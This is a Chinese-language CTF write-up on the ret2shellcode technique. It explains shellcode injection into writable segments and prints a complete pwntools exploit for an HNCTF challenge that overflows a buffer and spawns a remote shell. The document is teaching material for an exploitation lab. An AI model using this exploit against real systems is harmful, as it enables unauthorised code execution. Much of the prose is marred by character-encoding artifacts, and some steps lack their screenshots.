ret2shellcode
這邊就簡(jiǎn)單的情況分析一下,能力有限,復(fù)雜的shellcode還不會(huì)寫。
1、概述:
自己調(diào)用shell的機(jī)器碼注入到內(nèi)存中,然后通過棧溢出復(fù)寫返回地址,使得程序跳轉(zhuǎn)到shellcode所在的內(nèi)存之中
?????? 這里,我們需要找到一個(gè)能夠讀寫的段地址,并且這個(gè)地址是可以執(zhí)行的(-x-w),同時(shí)還需要知道如何修改這些段的內(nèi)容
2、攻擊手段(四種簡(jiǎn)單的常見思路)
1)向stack中注入shellcode
這種情況一般是啥保護(hù)也沒有開的情況,直接寫就完事
2)向bss段中注入shellcode
在虛擬內(nèi)存中,bss主要保存沒有初始值的全局變量或靜態(tài)變量(匯編中由占位符?聲明)。
這里是針對(duì)bss段可以寫的情況。
3)向data段中注入shellcode
data段主要保存的是已經(jīng)初始化了的全局變量或靜態(tài)變量,攻擊思路和bss注入方法向類似
4)向heap段中注入shellcode
heap主要保存通過動(dòng)態(tài)內(nèi)存分配產(chǎn)生的變量。如果heap段可寫并且可以執(zhí)行,攻擊者就可以嘗試向shellcode注入到動(dòng)態(tài)分配的變量中
3、shellcode的使用(一些詳細(xì)的介紹,可以看看這里)
The art of shellcode - roderick - record and learn! (roderickchan.github.io)
(補(bǔ)充一下,要是我們要知道我們掉用的函數(shù)長(zhǎng)度,可以
python3
from pwn import*
len(asm(shellcraft.sh())
)
?
4、這里結(jié)合一道詳細(xì)的例題來簡(jiǎn)單的說一下
[HNCTF 2022 Week1]ret2shellcode
這里結(jié)合簡(jiǎn)單的原理來說一下怎么做的。
1、檢查一下保護(hù)機(jī)制:

2、分析主函數(shù):

這一道題,經(jīng)過我們的分析發(fā)現(xiàn)并沒有發(fā)現(xiàn)bin/sh文件的地址,然而,我們發(fā)現(xiàn)在主函數(shù)中存在可以讀寫的段,再想到題目名稱的提示,我們可以進(jìn)行ret2shellcode
通過查看,

(vmmap:

)
buff地址是可以讀寫的。
3、開始編寫exp,
這里我們s[ ]數(shù)組由100個(gè)空間,返回地址加8

再結(jié)合之前分析buff位于0x4040A0處
可以知道我們的payload=shell.ljust(0x108,b’0’)+p64(buff)
完整exp:
?
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
?
io = remote('node3.anna.nssctf.cn',28916)
?
shell=asm(shellcraft.sh())
buff=0x4040A0
payload=shell.ljust(0x108,b'0')+p64(buff)
io.sendline(payload)
?
io.interactive()
4、獲得flag